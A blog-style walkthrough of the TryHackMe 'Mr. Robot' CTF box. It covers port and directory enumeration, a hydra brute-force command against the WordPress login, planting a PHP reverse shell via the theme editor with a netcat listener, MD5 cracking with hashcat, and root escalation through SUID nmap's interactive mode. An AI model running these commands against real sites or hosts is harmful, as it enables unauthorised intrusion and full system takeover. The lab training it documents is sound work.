TryHackMe: Mr. Robot


This is the second CTF challenge of the “Starter Series” on TryHackMe. It is a really nice and stylish box with a really cool webpage.

mrRobot-Box


Mr. Robot

Enumeration

As first step, we run sudo nmap -sC -sV <IP> -oA nmap-1000ports and find three open ports: 22 (closed), 80 and 443 (open). So it seems that this page is centered around a webpage.

Nmap scan report for 10.10.134.183
Host is up (0.069s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT    STATE  SERVICE  VERSION
22/tcp  closed ssh
80/tcp  open   http     Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open   ssl/http Apache httpd
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after:  2025-09-13T10:45:03
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).

A full scan with sudo nmap -sC -sV -p- <IP> doesn’t reveal any additional open ports.

Visiting the website, it looks like a linux machine is starting up and a user called “mr. robot” is logging in. After that you can type some “commands” which leads you to different subpages. It looks really cool, but it doesn’t really lead anywhere. Also, in my case I had to restart the machine several times because it hang up (but I’m not sure if that’s related to errors on the website, or just on my connection). So let’s try to catch a look to the backend.


We can run a short directory check with dirbuster. It runs for quite some time and in the end, I received many timeout errors, but basically this is the output:

$ sudo gobuster dir -u http://10.10.194.215 -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt 

===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.194.215
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/09/12 03:56:42 Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 236] [--> http://10.10.194.215/images/]
/blog                 (Status: 301) [Size: 234] [--> http://10.10.194.215/blog/]  
/rss                  (Status: 301) [Size: 0] [--> http://10.10.194.215/feed/]    
/sitemap              (Status: 200) [Size: 0]                                     
/login                (Status: 302) [Size: 0] [--> http://10.10.194.215/wp-login.php]
/0                    (Status: 301) [Size: 0] [--> http://10.10.194.215/0/]          
/video                (Status: 301) [Size: 235] [--> http://10.10.194.215/video/]    
/feed                 (Status: 301) [Size: 0] [--> http://10.10.194.215/feed/]       
/image                (Status: 301) [Size: 0] [--> http://10.10.194.215/image/]      
/atom                 (Status: 301) [Size: 0] [--> http://10.10.194.215/feed/atom/]  
/wp-content           (Status: 301) [Size: 240] [--> http://10.10.194.215/wp-content/]
/admin                (Status: 301) [Size: 235] [--> http://10.10.194.215/admin/]     
/audio                (Status: 301) [Size: 235] [--> http://10.10.194.215/audio/]     
/intro                (Status: 200) [Size: 516314]                                    
/wp-login             (Status: 200) [Size: 2613]                                      
/css                  (Status: 301) [Size: 233] [--> http://10.10.194.215/css/]       
/rss2                 (Status: 301) [Size: 0] [--> http://10.10.194.215/feed/]        
/license              (Status: 200) [Size: 309]                                       
/wp-includes          (Status: 301) [Size: 241] [--> http://10.10.194.215/wp-includes/]
/js                   (Status: 301) [Size: 232] [--> http://10.10.194.215/js/]         
/Image                (Status: 301) [Size: 0] [--> http://10.10.194.215/Image/]        
/rdf                  (Status: 301) [Size: 0] [--> http://10.10.194.215/feed/rdf/]     
/page1                (Status: 301) [Size: 0] [--> http://10.10.194.215/]              
/readme               (Status: 200) [Size: 64]                                         
/robots               (Status: 200) [Size: 41]                                         
/dashboard            (Status: 302) [Size: 0] [--> http://10.10.194.215/wp-admin/]     
/%20                  (Status: 301) [Size: 0] [--> http://10.10.194.215/]   

It gives some links starting with wp-, which reveals that the website is actually a wordpress site. Visiting all links with HTTP status code 200 already reveals the first key:

mrRobot-Box

This means we can download the first key from this URL: http://<IP>/key-1-of-3.txt and on top, we can also download a dictionary wordlist called fsocity.dic. Since this is a CTF, we can strongly assume sure that this dictionary also includes some hint to the next step.

Initial Foothold

So let’s try to check out the login page next. Testing out a few combinations like “mrrobot:mrrobot” or “fsociety:mrrobot”, we can quickly see that invalid usernames throw a “invalid username” error. This means that we can enumerate a valid user by trying different usernames.

mrRobot-Box

We can automate this step with a tool like hydra or Burp Intruder, or just go for it manually. If you have seen the Mr. Robot series, you might remember that the main protagonist’s name is “Elliot”. And with this name, we get a hit:

mrRobot-Box


Now we need to find the password of the user Elliot. First, we could catch the request with Burp Suite and see what data is exactly transmitted.

mrRobot-Box

As we can see on the picture, the login request has several parameters: “log” for the username and “pwd” for password, as well as some static content. Now let’s transfer this to the hydra syntax:

$ sudo hydra -l elliot -P fsocity.dic 10.10.40.71 http-post-form "/wp-login.php:log=elliot&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F10.10.40.71%2Fwp-admin%2F&testcookie=1:incorrect" -t 30

At this step, I had to check the docs, because the dictionary file has 858k lines, which means that the attack would run a really long time (the machine expires after two hours though). So I tried to check for some criteria to filter this list, like a minimum password length or similar. Unfortunately it seems that WordPress does not enforce this by default (correct me if I’m wrong), so I didn’t find a secure way to filter the list.

In the end, I took the password from the video walkthrough, because the correct hit appears quite at the end of the dictionary file (hint: It is Elliot’s employee number from the series). So this part is a bit frustrating - I saw in a previous walkthrough that it was set to a different password initially, so not sure why it was changed.


With this username:password combination, we can login to the to the wordpress site and get an initial foothold:

mrRobot-Box

It seems the user elliot has full admin privileges on Wordpress. Namely the themes editor can be opened, which means we can simply upload a PHP shell there. For example, we can use the archive.php file of the Twenty Fifteen theme and overwrite it with a simple PHP shell from pentestmonkey that comes with Kali Linux.

mrRobot-Box

Then we start a netcat listener with rlwrap nc -lnvp 53 and access the script via http://IP-Address/wp-content/themes/twentyfifteen/archive.php. Then we get a shell as daemon user:

mrRobot-Box


While looking around on the host, we find a file called key-2-of-3 in the home directory of the user robot, as well as a file that seems to be a md5 password hash.

$ ls -la /home/robot
total 16
drwxr-xr-x 2 root  root  4096 Nov 13  2015 .
drwxr-xr-x 3 root  root  4096 Nov 13  2015 ..
-r-------- 1 robot robot   33 Nov 13  2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot   39 Nov 13  2015 password.raw-md5

Luckily we have read privileges on the password file, so let’s download it and crack the password with hashcat (or john). My first guess was to use the fsocity dictionary, but this one didn’t work, so I used rockyou.txt:

$ hashcat -m 0 md5hash.txt /usr/share/wordlists/rockyou.txt  

and we get a hit for “abcdefghijklmnopqrstuvwxyz”. Now we can login as user robot, but first we need to get a real shell:

$ python -c 'import pty; pty.spawn("/bin/sh")' 

Then we can change the user with su robot and read the keyfile.

Privilege Escalation

As last step, we need to find a way to escalate to root, as the third keyfile is probably within the root directory. I wanted to use linpeas for enumeration, but it seems that the robot user doesn’t have any writeable directories. So instead I followed some manual enumeration steps. sudo -i showed that the user doesn’t have any sudo privileges, but the search by SUID-bit was more successful:

$ find / -perm -4000 -print 2>/dev/null
/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/nmap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/pt_chown

Now we can compare these to the binaries listed on GTFO bins and we get a hit with nmap:

$ nmap --interactive
Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help

and we get a root shell with:

> !sh
# whoami
root

With this, we can read the third key listed in the /root directory.